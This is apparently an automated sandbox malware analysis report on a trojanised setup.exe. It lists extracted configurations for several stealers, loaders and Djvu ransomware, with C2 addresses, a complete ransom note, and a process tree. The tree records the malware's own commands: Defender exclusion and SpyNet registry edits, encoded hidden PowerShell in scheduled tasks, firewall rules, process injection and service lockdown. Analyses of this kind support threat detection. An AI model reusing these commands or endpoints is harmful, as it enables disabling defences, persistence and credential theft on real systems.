Analysis

  • max time kernel
    166s
  • max time network
    289s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-02-2024 17:45

General

  • Target

    setup.exe

  • Size

    717.0MB

  • MD5

    c3c8543919bbd677773e9bb97e12eb62

  • SHA1

    dbce58ffd5606a2aa99983b1359bd509ffe14248

  • SHA256

    aafb7f16f653a0d189981974bc16214fea9e9ab8ba6ea13f0e4d389d2bc97f12

  • SHA512

    ba6d954d49fd76084f436cd54e63104ffbd9d655c6fb665a4206863576404f972035d828a917d81125da000ee48f8d63394e0b6684a01eccfbc9697df3b8d7f6

  • SSDEEP

    98304:3Y6P2L8j12IU+fHyGTQVobss/lHGxeAo:IRw2I7Q+mxe

Malware Config

Extracted

Family

smokeloader

Botnet

pub3

Extracted

Family

risepro

C2

193.233.132.67:50500

193.233.132.62

Extracted

Family

stealc

C2

http://185.172.128.24

Attributes
  • url_path

    /f993692117a3fda2.php

Extracted

Family

smokeloader

Version

2022

C2

http://sjyey.com/tmp/index.php

http://babonwo.ru/tmp/index.php

http://mth.com.ua/tmp/index.php

http://piratia.pw/tmp/index.php

http://go-piratia.ru/tmp/index.php

rc4.i32
rc4.i32

Extracted

Family

djvu

C2

http://habrafa.com/test2/get.php

Attributes
  • extension

    .lkfr

  • offline_id

    OxV6DGl22io8sqMOW1zCCOlzPiv4f1Vqzw7Y8zt1

  • payload_url

  • ransomnote

    ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. Do not ask assistants from youtube and recovery data sites for help in recovering your data. They can use your free decryption quota and scam you. Our contact is emails in this text document only. You can get and look video overview decrypt tool: https://we.tl/t-uNdL2KHHdy Price of private key and decrypt software is $999. Discount 50% available if you contact us first 72 hours, that's price for you is $499. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0852ASdw

rsa_pubkey.plain

Extracted

Family

lumma

C2

https://turkeyunlikelyofw.shop/api

https://associationokeo.shop/api

Signatures

  • Detect ZGRat V1 4 IoCs
  • Detected Djvu ransomware 5 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 3 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Checks BIOS information in registry 2 TTPs 7 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 27 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 7 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Unexpected DNS network traffic destination 7 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops Chrome extension 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 10 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 9 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 4 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 7 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 31 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Checks whether UAC is enabled
    • Drops file in System32 directory
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    PID:1136
    • C:\Users\Admin\Documents\GuardFox\JcMIo2ZYv_q90S6UZS5qMlPO.exe
      "C:\Users\Admin\Documents\GuardFox\JcMIo2ZYv_q90S6UZS5qMlPO.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3644
      • C:\Users\Admin\AppData\Local\Temp\7zS11A5.tmp\Install.exe
        .\Install.exe
        3⤵
        • Executes dropped EXE
        PID:5652
        • C:\Users\Admin\AppData\Local\Temp\7zS1A40.tmp\Install.exe
          .\Install.exe /MFFdidt "525403" /S
          4⤵
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Drops file in System32 directory
          • Enumerates system info in registry
          PID:1380
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5948
          • C:\Windows\SysWOW64\forfiles.exe
            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
            5⤵
              PID:1288
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                6⤵
                  PID:1748
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                    7⤵
                      PID:1616
                    • \??\c:\windows\SysWOW64\reg.exe
                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                      7⤵
                        PID:856
                  • C:\Windows\SysWOW64\forfiles.exe
                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                    5⤵
                      PID:1816
                      • C:\Windows\SysWOW64\cmd.exe
                        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                        6⤵
                          PID:2564
                          • \??\c:\windows\SysWOW64\reg.exe
                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                            7⤵
                              PID:4452
                            • \??\c:\windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                              7⤵
                                PID:1528
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /CREATE /TN "glrLJrRva" /SC once /ST 08:51:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                            5⤵
                            • Creates scheduled task(s)
                            PID:1940
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /run /I /tn "glrLJrRva"
                            5⤵
                              PID:3060
                            • C:\Windows\SysWOW64\schtasks.exe
                              schtasks /DELETE /F /TN "glrLJrRva"
                              5⤵
                                PID:2620
                              • C:\Windows\SysWOW64\schtasks.exe
                                schtasks /CREATE /TN "bokvhhUgtHQNbUrNPU" /SC once /ST 17:51:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\fvLIfGGBBdNYLYAis\gCckOLUAyUDZmqr\gDwSKdh.exe\" r1 /LNsite_idduL 525403 /S" /V1 /F
                                5⤵
                                • Creates scheduled task(s)
                                PID:1960
                        • C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe
                          "C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:5392
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -nologo -noprofile
                            3⤵
                              PID:5892
                            • C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe
                              "C:\Users\Admin\Documents\GuardFox\AKmdx4Gwhho65sDuSBTecSxH.exe"
                              3⤵
                                PID:2780
                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                  powershell -nologo -noprofile
                                  4⤵
                                    PID:1288
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                    4⤵
                                      PID:1796
                                      • C:\Windows\system32\netsh.exe
                                        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                        5⤵
                                        • Modifies Windows Firewall
                                        PID:2804
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -nologo -noprofile
                                      4⤵
                                        PID:2596
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nologo -noprofile
                                        4⤵
                                          PID:5132
                                    • C:\Users\Admin\Documents\GuardFox\aOiKcNVG4FAxtldCM7_Aj8fa.exe
                                      "C:\Users\Admin\Documents\GuardFox\aOiKcNVG4FAxtldCM7_Aj8fa.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:2868
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2868 -s 344
                                        3⤵
                                        • Program crash
                                        PID:4144
                                    • C:\Users\Admin\Documents\GuardFox\7cKnjzD2VH8mdogK6Yqc74fk.exe
                                      "C:\Users\Admin\Documents\GuardFox\7cKnjzD2VH8mdogK6Yqc74fk.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Checks processor information in registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4748
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2164
                                        3⤵
                                        • Program crash
                                        PID:5956
                                    • C:\Users\Admin\Documents\GuardFox\rKlG0105_QMP5yCEVWPcwfwN.exe
                                      "C:\Users\Admin\Documents\GuardFox\rKlG0105_QMP5yCEVWPcwfwN.exe"
                                      2⤵
                                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                      • Checks BIOS information in registry
                                      • Executes dropped EXE
                                      • Identifies Wine through registry keys
                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:2568
                                    • C:\Users\Admin\Documents\GuardFox\PRPSLOJESuJHQLjldDsEWa5D.exe
                                      "C:\Users\Admin\Documents\GuardFox\PRPSLOJESuJHQLjldDsEWa5D.exe"
                                      2⤵
                                      • Executes dropped EXE
                                      PID:2460
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nologo -noprofile
                                        3⤵
                                          PID:4436
                                        • C:\Users\Admin\Documents\GuardFox\PRPSLOJESuJHQLjldDsEWa5D.exe
                                          "C:\Users\Admin\Documents\GuardFox\PRPSLOJESuJHQLjldDsEWa5D.exe"
                                          3⤵
                                            PID:1800
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -nologo -noprofile
                                              4⤵
                                                PID:3240
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                4⤵
                                                  PID:5816
                                                  • C:\Windows\system32\netsh.exe
                                                    netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                    5⤵
                                                    • Modifies Windows Firewall
                                                    PID:2184
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -nologo -noprofile
                                                  4⤵
                                                    PID:5456
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -nologo -noprofile
                                                    4⤵
                                                      PID:6052
                                                    • C:\Windows\rss\csrss.exe
                                                      C:\Windows\rss\csrss.exe
                                                      4⤵
                                                        PID:4740
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -nologo -noprofile
                                                          5⤵
                                                            PID:6072
                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                            5⤵
                                                            • Creates scheduled task(s)
                                                            PID:5576
                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                            schtasks /delete /tn ScheduledUpdate /f
                                                            5⤵
                                                              PID:5364
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -nologo -noprofile
                                                              5⤵
                                                                PID:4588
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -nologo -noprofile
                                                                5⤵
                                                                  PID:760
                                                                • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                                                  5⤵
                                                                    PID:4464
                                                                  • C:\Windows\SYSTEM32\schtasks.exe
                                                                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                                    5⤵
                                                                    • Creates scheduled task(s)
                                                                    PID:232
                                                                  • C:\Windows\windefender.exe
                                                                    "C:\Windows\windefender.exe"
                                                                    5⤵
                                                                      PID:2272
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                        6⤵
                                                                          PID:4320
                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                            sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                            7⤵
                                                                            • Launches sc.exe
                                                                            PID:4576
                                                                • C:\Users\Admin\Documents\GuardFox\MHJl5U5jh6JBITZpQcz7bkql.exe
                                                                  "C:\Users\Admin\Documents\GuardFox\MHJl5U5jh6JBITZpQcz7bkql.exe"
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  • Checks SCSI registry key(s)
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious behavior: MapViewOfSection
                                                                  PID:760
                                                                • C:\Users\Admin\Documents\GuardFox\HBZbjdUX0pRpCqEGONC_Y2ES.exe
                                                                  "C:\Users\Admin\Documents\GuardFox\HBZbjdUX0pRpCqEGONC_Y2ES.exe"
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of WriteProcessMemory
                                                                  PID:1856
                                                                  • C:\Users\Admin\AppData\Local\Temp\is-J8KKB.tmp\HBZbjdUX0pRpCqEGONC_Y2ES.tmp
                                                                    "C:\Users\Admin\AppData\Local\Temp\is-J8KKB.tmp\HBZbjdUX0pRpCqEGONC_Y2ES.tmp" /SL5="$501CC,4124890,54272,C:\Users\Admin\Documents\GuardFox\HBZbjdUX0pRpCqEGONC_Y2ES.exe"
                                                                    3⤵
                                                                    • Executes dropped EXE
                                                                    • Loads dropped DLL
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of FindShellTrayWindow
                                                                    • Suspicious use of WriteProcessMemory
                                                                    PID:5684
                                                                    • C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe
                                                                      "C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe" -i
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      PID:4896
                                                                    • C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe
                                                                      "C:\Users\Admin\AppData\Local\WBICreator\wbicreator.exe" -s
                                                                      4⤵
                                                                      • Executes dropped EXE
                                                                      PID:1200
                                                                • C:\Users\Admin\Documents\GuardFox\T83K0fj1RPNZcK5ce9BGYbEr.exe
                                                                  "C:\Users\Admin\Documents\GuardFox\T83K0fj1RPNZcK5ce9BGYbEr.exe"
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:5820
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5820 -s 2072
                                                                    3⤵
                                                                    • Program crash
                                                                    PID:2548
                                                                • C:\Users\Admin\Documents\GuardFox\FfTdssBgUOeUFS8ACw1xXwQq.exe
                                                                  "C:\Users\Admin\Documents\GuardFox\FfTdssBgUOeUFS8ACw1xXwQq.exe"
                                                                  2⤵
                                                                  • Drops startup file
                                                                  • Executes dropped EXE
                                                                  • Adds Run key to start application
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:5980
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST
                                                                    3⤵
                                                                    • Creates scheduled task(s)
                                                                    PID:5324
                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                    schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST
                                                                    3⤵
                                                                    • Creates scheduled task(s)
                                                                    PID:2572
                                                                • C:\Users\Admin\Documents\GuardFox\Oo3P2P2VOFHTfbT2AUs5ehOf.exe
                                                                  "C:\Users\Admin\Documents\GuardFox\Oo3P2P2VOFHTfbT2AUs5ehOf.exe"
                                                                  2⤵
                                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                  • Checks BIOS information in registry
                                                                  • Executes dropped EXE
                                                                  • Checks whether UAC is enabled
                                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                  PID:5972
                                                                • C:\Users\Admin\Documents\GuardFox\ozHYoRTpmXEy7Cy7N9wHNH1A.exe
                                                                  "C:\Users\Admin\Documents\GuardFox\ozHYoRTpmXEy7Cy7N9wHNH1A.exe"
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:4316
                                                                • C:\Users\Admin\Documents\GuardFox\griZbGlDTQ2Gp9lRWbcAmGPV.exe
                                                                  "C:\Users\Admin\Documents\GuardFox\griZbGlDTQ2Gp9lRWbcAmGPV.exe"
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of SetThreadContext
                                                                  PID:5096
                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                    3⤵
                                                                      PID:3608
                                                                  • C:\Users\Admin\Documents\GuardFox\WbpOVj2wdHtADLlWkCQJXyxg.exe
                                                                    "C:\Users\Admin\Documents\GuardFox\WbpOVj2wdHtADLlWkCQJXyxg.exe"
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:2972
                                                                  • C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe
                                                                    "C:\Users\Admin\Documents\GuardFox\xVovRr115da5UGt7mKVb47Cj.exe"
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    • Suspicious use of SetThreadContext
                                                                    • Suspicious use of WriteProcessMemory
                                                                    PID:2816
                                                                  • C:\Users\Admin\Documents\GuardFox\GcY5mYzrooPu5n33Ou1uEsNN.exe
                                                                    "C:\Users\Admin\Documents\GuardFox\GcY5mYzrooPu5n33Ou1uEsNN.exe"
                                                                    2⤵
                                                                    • Checks computer location settings
                                                                    • Executes dropped EXE
                                                                    • Drops Chrome extension
                                                                    • Drops file in System32 directory
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:6088
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                      3⤵
                                                                      • Enumerates system info in registry
                                                                      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      • Suspicious use of FindShellTrayWindow
                                                                      • Suspicious use of SendNotifyMessage
                                                                      PID:5380
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffa9bc9758,0x7fffa9bc9768,0x7fffa9bc9778
                                                                        4⤵
                                                                          PID:5348
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:8
                                                                          4⤵
                                                                            PID:2700
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1740 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:2
                                                                            4⤵
                                                                              PID:6016
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2272 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:8
                                                                              4⤵
                                                                                PID:4584
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3064 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:1
                                                                                4⤵
                                                                                  PID:1696
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3044 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:1
                                                                                  4⤵
                                                                                    PID:2748
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4904 --field-trial-handle=1896,i,10634171803407864271,14744813896320098422,131072 /prefetch:1
                                                                                    4⤵
                                                                                      PID:2420
                                                                                • C:\Users\Admin\Documents\GuardFox\ZXVOsXkq1YByDDKKVRvePpsA.exe
                                                                                  "C:\Users\Admin\Documents\GuardFox\ZXVOsXkq1YByDDKKVRvePpsA.exe"
                                                                                  2⤵
                                                                                  • Executes dropped EXE
                                                                                  • Loads dropped DLL
                                                                                  • Suspicious use of SetThreadContext
                                                                                  PID:6076
                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
                                                                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
                                                                                    3⤵
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:5088
                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"
                                                                                      4⤵
                                                                                        PID:4492
                                                                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
                                                                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
                                                                                      3⤵
                                                                                        PID:404
                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
                                                                                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
                                                                                        3⤵
                                                                                          PID:3352
                                                                                      • C:\Users\Admin\Documents\GuardFox\Ipjb8_Ct3Bu5_uNThO5sOupY.exe
                                                                                        "C:\Users\Admin\Documents\GuardFox\Ipjb8_Ct3Bu5_uNThO5sOupY.exe"
                                                                                        2⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:6044
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                      1⤵
                                                                                        PID:5036
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                        1⤵
                                                                                          PID:4332
